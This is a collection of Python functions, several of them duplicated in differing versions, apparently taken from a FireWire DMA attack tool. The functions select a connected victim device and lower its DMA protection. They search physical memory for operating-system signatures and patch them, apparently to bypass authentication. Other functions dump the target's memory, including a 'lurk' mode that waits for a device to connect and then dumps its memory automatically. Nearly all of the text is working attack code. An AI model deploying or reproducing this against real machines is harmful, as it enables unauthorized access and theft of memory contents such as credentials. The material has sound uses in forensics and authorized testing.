def businfo(self): ''' Prints all available information of the devices connected to the FW bus, looks up missing vendor names & populates the internal vendor list ''' if not self._devices: term.fail( 'Could not detect any FireWire devices connected to this system' ) term.info('FireWire devices on the bus (names may appear blank):') term.separator() for n, device in enumerate(self._devices, 1): vid = device.vendor_id # In the current version of libforensic1394, the # device.vendor_name.decode() method cannot be trusted (it often # returns erroneous data. We'll rely on OUI lookups instead # vendorname = device.vendor_name.decode(cfg.encoding) vendorname = self.resolve_oui(vid) self._vendors.append(vendorname) pid = device.product_id productname = device.product_name.decode(cfg.encoding) term.info('Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})'. format(vendorname, vid, productname, pid), sign=n) term.separator()
def patch(device, address, chunks): ''' Writes back to the device at address, using the patches in the signature chunks ''' success = True backup = device.read(address, cfg.PAGESIZE) for c in chunks: if len(cfg.patchfile) > 0: patch = cfg.patchfile else: patch = c['patch'] if not patch: continue ioffset = c['internaloffset'] poffset = c['patchoffset'] if not poffset: poffset = 0 realaddress = address + ioffset + poffset device.write(realaddress, patch) read = device.read(realaddress, len(patch)) if cfg.verbose: term.info('Data read back: ' + util.bytes2hexstr(read)) #TODO: Change to .format() if read != patch: success = False # Only patch once from file if len(cfg.patchfile) > 0: break return success, backup
def lurk(): ''' Wait for devices to connect to the FireWire bus, and attack when they do ''' start = cfg.startaddress end = cfg.memsize bb = term.BeachBall() try: s = '\n'.join(cfg.wrapper.wrap('[-] Lurking in the shrubbery ' + 'waiting for a device to connect. ' + 'Ctrl-C to abort')) + '\r' print(s, end = '') # Initiate FireWire fw = firewire.FireWire() while True: # Loop until aborted, and poll for devices while len(fw.devices) == 0: # Draw a beach ball while waiting bb.draw() time.sleep(cfg.polldelay) print() # Newline term.info('FireWire device detected') memdump.dump(start, end) except KeyboardInterrupt: print() # TODO: Fix keyboard handling (interrupt handling) raise KeyboardInterrupt
def select(self): ''' Present the user of the option to select what device (connected to the bus) to attack ''' if not self._vendors: self.businfo() nof_devices = len(self._vendors) if nof_devices == 1: if cfg.verbose: term.info('Only one device present, device auto-selected as ' + 'target') return 0 else: term.poll('Select a device to attack (or type \'q\' to quit): ') selected = input().lower() try: selected = int(selected) except: if selected == 'q': sys.exit() else: term.warn('Invalid selection. Type \'q\' to quit') return self.select() if 0 < selected <= nof_devices: return selected - 1 else: term.warn('Enter a selection between 1 and ' + str(nof_devices) + '. Type \'q\' to quit') return self.select()
def __init__(self): ''' Constructor Initializes the bus and sets device, OUI variables ''' self._bus = Bus() try: self._bus.enable_sbp2() except IOError: term.poll('FireWire modules are not loaded. Load them? [Y/n]: ') answer = input().lower() if answer in ['y', '']: status = call('modprobe firewire-ohci', shell=True) if status == 0: try: self._bus.enable_sbp2() except IOError: time.sleep(2) # Give some more time self._bus.enable_sbp2() # If this fails, fail hard term.info('FireWire modules loaded successfully') else: term.fail('Could not load FireWire modules') else: term.fail('FireWire modules not loaded') # Enable SBP-2 support to ensure we get DMA self._devices = self._bus.devices() self._oui = self.init_OUI() self._vendors = [] self._max_request_size = cfg.PAGESIZE
def lurk(): ''' Wait for devices to connect to the FireWire bus, and attack when they do ''' start = cfg.startaddress end = cfg.memsize bb = term.BeachBall() try: s = '\n'.join( term.wrapper.wrap('[-] Lurking in the shrubbery ' + 'waiting for a device to connect. ' + 'Ctrl-C to abort')) + '\r' print(s, end='') # Initiate FireWire fw = firewire.FireWire() while True: # Loop until aborted, and poll for devices while len(fw.devices) == 0: # Draw a beach ball while waiting bb.draw() time.sleep(cfg.polldelay) print() # Newline term.info('FireWire device detected') memdump.dump(start, end) except KeyboardInterrupt: print() # TODO: Fix keyboard handling (interrupt handling) raise KeyboardInterrupt
def printdetails(target): # TODO: Fix this fugly method ''' Prints details about a target ''' term.info('The target module contains the following signatures:') term.separator() print('\tVersions:\t' + ', '.join(target['versions']).rstrip(', ')) print('\tArchitectures:\t' + ', ' .join(target['architectures']).rstrip(', ')) for signature in target['signatures']: offsets = '\n\t\tOffsets:\t' for offset in signature['offsets']: offsets += hex(offset) if not offset is signature['offsets'][-1]: offsets += ', ' print(offsets) sig = '\t\tSignature:\t0x' ioffs = 0 patch = 0 poffs = 0 for chunk in signature['chunks']: diff = chunk['internaloffset'] - util.bytelen(chunk['chunk']) - 1 - ioffs sig += '__' * diff ioffs = chunk['internaloffset'] sig += '{0:x}'.format(chunk['chunk']) try: patch = chunk['patch'] poffs = chunk['patchoffset'] except KeyError: pass print(sig) print('\t\tPatch:\t\t{0:#x}'.format(patch)) print('\t\tPatch offset:\t{0:#x}'.format(poffs)) term.separator()
def select_target(targets, selected=False): ''' Provides easy selection of targets. Input is a list of targets (dicts) ''' if len(targets) == 1: term.info('Only one target present, auto-selected') return targets[0] if not selected: term.poll('Please select target (or enter \'q\' to quit):') selected = input() nof_targets = len(targets) try: selected = int(selected) except: if selected == 'q': sys.exit() else: term.warn( 'Invalid selection, please try again. Type \'q\' to quit') return select_target(targets) if 0 < selected <= nof_targets: return targets[selected - 1] else: term.warn('Please enter a selection between 1 and ' + str(nof_targets) + '. Type \'q\' to quit') return select_target(targets)
def list_targets(targets, details=False): term.info('Available targets:') term.separator() for number, target in enumerate(targets, 1): term.info(target['OS'] + ': ' + target['name'], sign = number) if details: printdetails(target) if not details: # Avoid duplicate separator term.separator()
def __init__(self): ''' Constructor Initializes the bus and sets device, OUI variables ''' self._bus = Bus() try: self._bus.enable_sbp2() except IOError: if os.geteuid() == 0: # Check if we are running as root term.poll( 'FireWire modules are not loaded. Try loading them? [Y/n]: ' ) answer = input().lower() if answer in ['y', '']: status_modprobe = call('modprobe firewire-ohci', shell=True) status_rescan = call('echo 1 > /sys/bus/pci/rescan', shell=True) if status_modprobe == 0 and status_rescan == 0: try: self._bus.enable_sbp2() except IOError: time.sleep(2) # Give some more time try: self._bus.enable_sbp2( ) # If this fails, fail hard except IOError: term.fail( 'Unable to detect any local FireWire ports. Please make ' + 'sure FireWire is enabled in BIOS, and connected ' + 'to this system. If you are using an adapter, please make ' + 'sure it is properly connected, and re-run inception' ) term.info('FireWire modules loaded successfully') else: term.fail( 'Could not load FireWire modules, try running inception as root' ) else: term.fail('FireWire modules not loaded') else: term.fail( 'FireWire modules are not loaded and we have insufficient privileges ' + 'to load them. Try running inception as root') # Enable SBP-2 support to ensure we get DMA self._devices = self._bus.devices() self._oui = self.init_OUI() self._vendors = [] self._max_request_size = cfg.PAGESIZE
def unload_fw_ip(): """ Unloads IP over FireWire modules if present on OS X """ term.poll("IOFireWireIP on OS X may cause kernel panics. Unload? [Y/n]: ") unload = input().lower() if unload in ["y", ""]: status = call("kextunload /System/Library/Extensions/IOFireWireIP.kext", shell=True) if status == 0: term.info("IOFireWireIP.kext unloaded") term.info("To reload: sudo kextload /System/Library/Extensions/" + "IOFireWireIP.kext") else: term.fail("Could not unload IOFireWireIP.kext")
def unload_fw_ip(): ''' Unloads IP over FireWire modules if present on OS X ''' term.poll('IOFireWireIP on OS X may cause kernel panics. Unload? [Y/n]: ') unload = input().lower() if unload in ['y', '']: status = call('kextunload /System/Library/Extensions/IOFireWireIP.kext', shell=True) if status == 0: term.info('IOFireWireIP.kext unloaded') term.info('To reload: sudo kextload /System/Library/Extensions/' + 'IOFireWireIP.kext') else: term.fail('Could not unload IOFireWireIP.kext')
def unload_fw_ip(): ''' Unloads IP over FireWire modules if present on OS X ''' term.poll('IOFireWireIP on OS X may cause kernel panics. Unload? [Y/n]: ') unload = input().lower() if unload in ['y', '']: status = call( 'kextunload /System/Library/Extensions/IOFireWireIP.kext', shell=True) if status == 0: term.info('IOFireWireIP.kext unloaded') term.info('To reload: sudo kextload /System/Library/Extensions/' + 'IOFireWireIP.kext') else: term.fail('Could not unload IOFireWireIP.kext')
def __init__(self): ''' Constructor ''' # find our device dev = usb.core.find(idVendor=0x0525, idProduct=0x3380) assert dev is not None, 'device not found' dev.set_configuration() cfg = dev.get_active_configuration() intf = cfg[0,0] self.pciin = usb.util.find_descriptor(intf,custom_match = lambda e: e.bEndpointAddress==0x8e) assert self.pciin is not None, 'pciin endpoint not found' term.info('PCIIN found: '+str(self.pciin)+'\n') self.pciout = usb.util.find_descriptor(intf,custom_match = lambda e: e.bEndpointAddress==0xe) assert self.pciout is not None, 'pciout endpoint not found' term.info('PCIOUT found: '+str(self.pciout)+'\n') self.cache=[]
def __init__(self): ''' Constructor Initializes the bus and sets device, OUI variables ''' self._bus = Bus() try: self._bus.enable_sbp2() except IOError: if os.geteuid() == 0: # Check if we are running as root term.poll('FireWire modules are not loaded. Try loading them? [Y/n]: ') answer = input().lower() if answer in ['y', '']: status_modprobe = call('modprobe firewire-ohci', shell=True) status_rescan = call('echo 1 > /sys/bus/pci/rescan', shell=True) if status_modprobe == 0 and status_rescan == 0: try: self._bus.enable_sbp2() except IOError: time.sleep(2) # Give some more time try: self._bus.enable_sbp2() # If this fails, fail hard except IOError: term.fail('Unable to detect any local FireWire ports. Please make ' + 'sure FireWire is enabled in BIOS, and connected ' + 'to this system. If you are using an adapter, please make ' + 'sure it is properly connected, and re-run inception') term.info('FireWire modules loaded successfully') else: term.fail('Could not load FireWire modules, try running inception as root') else: term.fail('FireWire modules not loaded') else: term.fail('FireWire modules are not loaded and we have insufficient privileges ' + 'to load them. Try running inception as root') # Enable SBP-2 support to ensure we get DMA self._devices = self._bus.devices() self._oui = self.init_OUI() self._vendors = [] self._max_request_size = cfg.PAGESIZE
def select_device(self): ''' Present the user of the option to select what device (connected to the bus) to attack ''' if not self._vendors: self.businfo() nof_devices = len(self._vendors) if nof_devices == 1: if cfg.verbose: term.info('Only one device present, device auto-selected as ' + 'target') return 0 else: term.poll('Select a device to attack (or type \'q\' to quit): ') selected = input().lower() try: selected = int(selected) except: if selected == 'q': sys.exit() else: term.warn('Invalid selection. Type \'q\' to quit') return self.select_device() if 0 < selected <= nof_devices: i = selected - 1 vendor = self._vendors[i] # If the target is a Mac, and we are in memdump mode with the # --override switch set, make sure we don't touch OS X's g-spot # (which would likely cause a kernel panic) if 'apple' in vendor.lower() and cfg.memdump and cfg.override: cfg.apple_target = True term.info('The target seems to be a Mac, forcing avoidance ' + '(not dumping {0:#x}-{1:#x})' .format(cfg.apple_avoid[0], cfg.apple_avoid[1])) return i else: term.warn('Enter a selection between 1 and ' + str(nof_devices) + '. Type \'q\' to quit') return self.select_device()
def select_device(self): ''' Present the user of the option to select what device (connected to the bus) to attack ''' if not self._vendors: self.businfo() nof_devices = len(self._vendors) if nof_devices == 1: if cfg.verbose: term.info('Only one device present, device auto-selected as ' + 'target') return 0 else: term.poll('Select a device to attack (or type \'q\' to quit): ') selected = input().lower() try: selected = int(selected) except: if selected == 'q': sys.exit() else: term.warn('Invalid selection. Type \'q\' to quit') return self.select_device() if 0 < selected <= nof_devices: i = selected - 1 vendor = self._vendors[i] # If the target is a Mac, and we are in memdump mode with the # --override switch set, make sure we don't touch OS X's g-spot # (which would likely cause a kernel panic) if 'apple' in vendor.lower() and cfg.memdump and cfg.override: cfg.apple_target = True term.info('The target seems to be a Mac, forcing avoidance ' + '(not dumping {0:#x}-{1:#x})'.format( cfg.apple_avoid[0], cfg.apple_avoid[1])) return i else: term.warn('Enter a selection between 1 and ' + str(nof_devices) + '. Type \'q\' to quit') return self.select_device()
def businfo(self): ''' Prints all available information of the devices connected to the FW bus, looks up missing vendor names & populates the internal vendor list ''' if not self._devices: term.fail('No FireWire devices detected on the bus') term.info('FireWire devices on the bus (names may appear blank):') term.separator() for n, device in enumerate(self._devices, 1): vid = device.vendor_id vendorname = device.vendor_name.decode(cfg.encoding) # Resolve if name not given by device vendor ID if not vendorname: vendorname = self.resolve_oui(vid) self._vendors.append(vendorname) pid = device.product_id productname = device.product_name.decode(cfg.encoding) term.info('Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})' .format(vendorname, vid, productname, pid), sign = n) term.separator()
def patch(device, address, chunks): ''' Writes back to the device at address, using the patches in the signature chunks ''' success = True for c in chunks: patch = c['patch'] if not patch: continue ioffset = c['internaloffset'] poffset = c['patchoffset'] if not poffset: poffset = 0 realaddress = address + ioffset + poffset if patch: device.write(realaddress, patch) read = device.read(realaddress, len(patch)) if cfg.verbose: term.info('Data read back: ' + util.bytes2hexstr(read)) if read != patch: success = False return success
def businfo(self): ''' Prints all available information of the devices connected to the FW bus, looks up missing vendor names & populates the internal vendor list ''' if not self._devices: term.fail('No FireWire devices detected on the bus') term.info('FireWire devices on the bus (names may appear blank):') term.separator() for n, device in enumerate(self._devices, 1): vid = device.vendor_id # In the current version of libforensic1394, the # device.vendor_name.decode() method cannot be trusted (it ofen # returns erroneous data. We'll rely on OUI lookups instead # vendorname = device.vendor_name.decode(cfg.encoding) vendorname = self.resolve_oui(vid) self._vendors.append(vendorname) pid = device.product_id productname = device.product_name.decode(cfg.encoding) term.info('Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})' .format(vendorname, vid, productname, pid), sign = n) term.separator()
def lurk(): start = cfg.startaddress end = cfg.memsize bb = term.BeachBall() try: s = '\n'.join(cfg.wrapper.wrap('[-] Lurking in the shrubbery waiting ' + 'for a device to connect. Ctrl-C to ' + 'abort')) + '\r' print(s, end = '') # Initiate FireWire fw = firewire.FireWire() while True: # Loop until aborted, and poll for devices while len(fw.devices) == 0: bb.draw() time.sleep(cfg.polldelay) pass # Do nothing until a device connects print() # Newline term.info('FireWire device detected') memdump.dump(start, end) except KeyboardInterrupt: print() # TODO: Fix keyboard handling (interrupt handling) raise KeyboardInterrupt
def select_target(targets, selected=False): ''' Provides easy selection of targets. Input is a list of targets (dicts) ''' if len(targets) == 1: term.info('Only one target present, auto-selected') return targets[0] if not selected: term.poll('Please select target (or enter \'q\' to quit):') selected = input() nof_targets = len(targets) try: selected = int(selected) except: if selected == 'q': sys.exit() else: term.warn('Invalid selection, please try again. Type \'q\' to quit') return select_target(targets) if 0 < selected <= nof_targets: return targets[selected - 1] else: term.warn('Please enter a selection between 1 and ' + str(nof_targets) + '. Type \'q\' to quit') return select_target(targets)
def select_device(self): selected = self.select() vendor = self._vendors[selected] # Print selection term.info('Selected device: {0}'.format(vendor)) return selected
def attack(targets): ''' Main attack logic ''' # Initialize and lower DMA shield if not cfg.filemode: try: fw = firewire.FireWire() except IOError: term.fail('Could not initialize FireWire. Are the modules ' + 'loaded into the kernel?') start = time.time() device_index = fw.select_device() # Print selection term.info('Selected device: {0}'.format(fw.vendors[device_index])) # List targets list_targets(targets) # Select target target = select_target(targets) # Print selection. If verbose, print selection with signatures term.info('Selected target: ' + target['OS'] + ': ' + target['name']) if cfg.verbose: printdetails(target) # Lower DMA shield or use a file as input, and set memsize device = None memsize = None if cfg.filemode: device = util.MemoryFile(cfg.filename, cfg.PAGESIZE) memsize = os.path.getsize(cfg.filename) else: elapsed = int(time.time() - start) device = fw.getdevice(device_index, elapsed) memsize = cfg.memsize # Perform parallel search for all signatures for each OS at the known # offsets term.info('DMA shields should be down by now. Attacking...') address, chunks = searchanddestroy(device, target, memsize) if not address: # TODO: Fall-back sequential search? return None, None # Signature found, let's patch mask = 0xfffff000 # Mask away the lower bits to find the page number page = int((address & mask) / cfg.PAGESIZE) term.info('Signature found at {0:#x} (in page # {1})'.format(address, page)) if not cfg.dry_run: success = patch(device, address, chunks) if success: term.info('Write-back verified; patching successful') if cfg.egg: sound.play('data/inception.wav') term.info('BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!') else: term.warn('Write-back could not be verified; patching *may* ' + 'have been unsuccessful') #Clean up device.close() return address, page
def dump(start, end): # Make sure that the right mode is set cfg.memdump = True requestsize = cfg.max_request_size size = end - start # Open file for writing filename = '{0}_{1}-{2}.bin'.format(cfg.memdump_prefix, hex(start), hex(end)) file = open(filename, 'wb') # Ensure correct denomination if size % cfg.GiB == 0: s = '{0} GiB'.format(size // cfg.GiB) elif size % cfg.MiB == 0: s = '{0} MiB'.format(size // cfg.MiB) else: s = '{0} KiB'.format(size // cfg.KiB) term.info('Dumping from {0:#x} to {1:#x}, a total of {2}'.format( start, end, s)) # Initialize and lower DMA shield if not cfg.filemode: fw = firewire.FireWire() starttime = time.time() device_index = fw.select_device() # Print selection term.info('Selected device: {0}'.format(fw.vendors[device_index])) # Lower DMA shield or use a file as input device = None if cfg.filemode: device = util.MemoryFile(cfg.filename, cfg.PAGESIZE) else: elapsed = int(time.time() - starttime) device = fw.getdevice(device_index, elapsed) # Progress bar prog = term.ProgressBar(min_value=start, max_value=end, total_width=cfg.termwidth, print_data=cfg.verbose) try: for i in range(start, end, requestsize): # Edge case, make sure that we don't read beyond the end if i + requestsize > end: requestsize = end - i # Avoid accessing upper memory area if we are using FireWire if util.needtoavoid(i): data = b'\x00' * requestsize else: data = device.read(i, requestsize) file.write(data) # Print status prog.update_amount(i + requestsize, data) prog.draw() file.close() print() # Filler term.info('Dumped memory to file {0}'.format(filename)) device.close() except KeyboardInterrupt: file.close() print() term.info('Dumped memory to file {0}'.format(filename)) raise KeyboardInterrupt
def dump(start, end): # Ensure that the filename is accessible outside this module global filename # Make sure that the right mode is set cfg.memdump = True requestsize = cfg.max_request_size size = end - start # Open file for writing timestr = time.strftime("%Y%m%d-%H%M%S") filename = '{0}_{1}-{2}_{3}.{4}'.format(cfg.memdump_prefix, hex(start), hex(end), timestr, cfg.memdump_ext) file = open(filename, 'wb') # Ensure correct denomination if size % cfg.GiB == 0: s = '{0} GiB'.format(size//cfg.GiB) elif size % cfg.MiB == 0: s = '{0} MiB'.format(size//cfg.MiB) else: s = '{0} KiB'.format(size//cfg.KiB) term.info('Dumping from {0:#x} to {1:#x}, a total of {2}' .format(start, end, s)) # Initialize and lower DMA shield if not cfg.filemode: fw = firewire.FireWire() starttime = time.time() device_index = fw.select_device() # Print selection term.info('Selected device: {0}'.format(fw.vendors[device_index])) # Lower DMA shield or use a file as input device = None if cfg.filemode: device = util.MemoryFile(cfg.filename, cfg.PAGESIZE) else: elapsed = int(time.time() - starttime) device = fw.getdevice(device_index, elapsed) # Progress bar prog = term.ProgressBar(min_value = start, max_value = end, total_width = cfg.wrapper.width, print_data = cfg.verbose) try: # Fill the first MB and avoid reading from that region if not cfg.filemode: fillsize = cfg.startaddress - start data = b'\x00' * fillsize file.write(data) start = cfg.startaddress for i in range(start, end, requestsize): # Edge case, make sure that we don't read beyond the end if i + requestsize > end: requestsize = end - i data = device.read(i, requestsize) file.write(data) # Print status prog.update_amount(i + requestsize, data) prog.draw() file.close() print() # Filler term.info('Dumped memory to file {0}'.format(filename)) device.close() except KeyboardInterrupt: file.close() print() term.info('Dumped memory to file {0}'.format(filename)) raise KeyboardInterrupt